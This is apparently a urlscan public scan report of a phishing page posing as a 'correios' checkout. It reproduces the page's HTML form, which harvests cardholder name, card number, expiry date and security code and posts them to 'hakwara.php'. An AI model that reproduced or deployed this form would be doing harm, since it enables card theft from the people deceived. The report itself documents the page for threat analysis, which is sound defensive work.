southafrican-office.dynv6.net Open in urlscan Pro
104.168.142.3  Public Scan

Submitted URL: https://email.notify.thinkific.com/c/eJwVjkFrxCAUhH_NektQk6g5eFgKPRe6PYenPjduXE2Naem_rwsDMx_DwKBmQkg180FNxGmwngMnQYtBAB2BjcjcIjnl3C...
Effective URL: https://southafrican-office.dynv6.net/STATU/dash/SF/Panel/Checkout/portal/8cdfd/
Submission: On November 08 via manual from ZA — Scanned from DE

Form analysis 1 forms found in the DOM

POST hakwara.php

<form novalidate="novalidate" autocomplete="off" role="form" action="hakwara.php" accept-charset="UTF-8" method="post" id="formId_038775683063221531600291018965">
  <div class="error-banner hidden validation section payment generic">
  </div>
  <input name="payment_method" hidden="" id="payment_method" value="card">
  <span class="iw nm" id="card_type_selection">
    <div class="form-row">
      <div class="form-group col-md-8"><label for="shipping.firstname">Cardholder Name * <span style="font-size: 9px;">Cardholder's name</span></label>
        <input class="form-control validate[required,minSize[2]] null" id="card_type" maxlength="50" name="fname" required="" type="text">
      </div>
    </div>
    <div class="form-row">
      <div class="form-group col-md-8"><label for="shipping.email">Card number * <span style="font-size: 9px;">VISA - MasterCard </span>
        </label>
        <input class="form-control validate[required,custom[email]] null" id="card_number" maxlength="19" name="Zawaq" placeholder="XXXX XXXX XXXX XXXX" required="" type="text" style="
    background-image: url(./images/2.png);
    background-repeat: no-repeat;
    background-position: right center;
"><span class="iw nm" id="iw-card_number"></span>
      </div>
    </div>
    <div class="form-row">
      <div class="form-group col-md-8"><label for="shipping.email">Expiry date *</label><br>
        <span id="card_expiry_date">
          <select class="form-control  failedOnce" name="DateExpiry_1" id="card_expiry_month" required="" style="
    WIDTH: 100PX;HEIGHT: 38PX;
" tabindex="0">
            <option value="">MM</option>
            <option value="01">01</option>
            <option value="02">02</option>
            <option value="03">03</option>
            <option value="04">04</option>
            <option value="05">05</option>
            <option value="06">06</option>
            <option value="07">07</option>
            <option value="08">08</option>
            <option value="09">09</option>
            <option value="10">10</option>
            <option value="11">11</option>
            <option value="12">12</option>
          </select> / <select class="form-control  failedOnce" name="DateExpiry_2" id="card_expiry_year" required="" style="
    WIDTH: 28%;HEIGHT: 38PX;
" tabindex="0">
            <option value="">YY</option>
            <option value="2022">22</option>
            <option value="2023">23</option>
            <option value="2024">24</option>
            <option value="2025">25</option>
            <option value="2026">26</option>
            <option value="2027">27</option>
            <option value="2028">28</option>
            <option value="2029">29</option>
            <option value="2030">30</option>
            <option value="2031">31</option>
          </select>
        </span>
      </div>
    </div>
    <div class="form-row">
      <div class="form-group col-md-4"><label for="shipping.postalcode">Security code *<span style="font-size: 9px;">Last 3 digits on the back of card</span></label><br>
        <input class="form-control validate[required] null" id="card_cvn" maxlength="4" name="zwi9a" placeholder="XXX" required="" type="password" style="
    WIDTH: 137PX;
    background-image: url(./images/b.png);
    background-repeat: no-repeat;
    background-position: right center;
" aria-required="true"><span id="iw-card_cvn">
        </span>
      </div>
    </div>
    <div class="form-group"></div>
    <section class="continue-button py-2 mb-4" id="continueButtonParent">
      <input type="hidden" name="next">
      <div class="d-flex justify-content-end">
        <button class="btn btn-primary btn-cart-continue" type="submit">Make Payment</button>
      </div>
      <br>
      <div class="form-group">
        <div class="custom-control custom-checkbox" style="
    /* text-align: right; */
">
          <label class="" for="accept_dpp_shipping" style="
    font-weight: 100!important;
"> <img alt="" src="./images/Exclamation.png" style="width: ;"> * Pay attention to correct spelling. A data entry error can cause documents to be incorrectly sent to third parties.</label>
        </div>
      </div>
    </section>
  </span>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
  <div aria-live="assertive" style="width:1px;height:0;color:transparent;"></div>
</form>

Text Content

correios




 * back to the store

×
transaction amount
12.99 RAND

PAYMENT DETAILS



payment information.

Cardholder Name * Cardholder's name
Card number * VISA - MasterCard
Expiry date *
MM 01 02 03 04 05 06 07 08 09 10 11 12 / YY 22 23 24 25 26 27 28 29 30 31
Security code *Last 3 digits on the back of card


Make Payment

* Pay attention to correct spelling. A data entry error can cause documents to
be incorrectly sent to third parties.




















Additional shipping costs

VAT amount

0,00 NT$

Grand total

12.99 RAND

(VAT included)